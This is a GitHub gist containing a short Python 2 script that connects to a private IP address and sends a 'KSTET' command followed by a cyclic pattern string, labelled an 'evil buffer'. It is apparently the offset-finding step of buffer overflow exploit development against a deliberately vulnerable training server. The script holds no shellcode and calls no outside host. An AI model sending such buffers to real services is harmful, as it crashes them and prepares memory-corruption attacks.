Skip to content

Instantly share code, notes, and snippets.

@BraveLittleRoaster
Created October 26, 2016 00:58
Show Gist options
  • Save BraveLittleRoaster/22bee63c217717418b0f46b9d6a50820 to your computer and use it in GitHub Desktop.
Save BraveLittleRoaster/22bee63c217717418b0f46b9d6a50820 to your computer and use it in GitHub Desktop.
#!/user/bin/python
import socket
# Sends a unique string to the remote host.
unique_pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
cmd = "KSTET "
print "Sending Evil Buffer!"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('10.1.5.40', 80))
s.recv(1024)
s.send(cmd+unique_pattern)
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment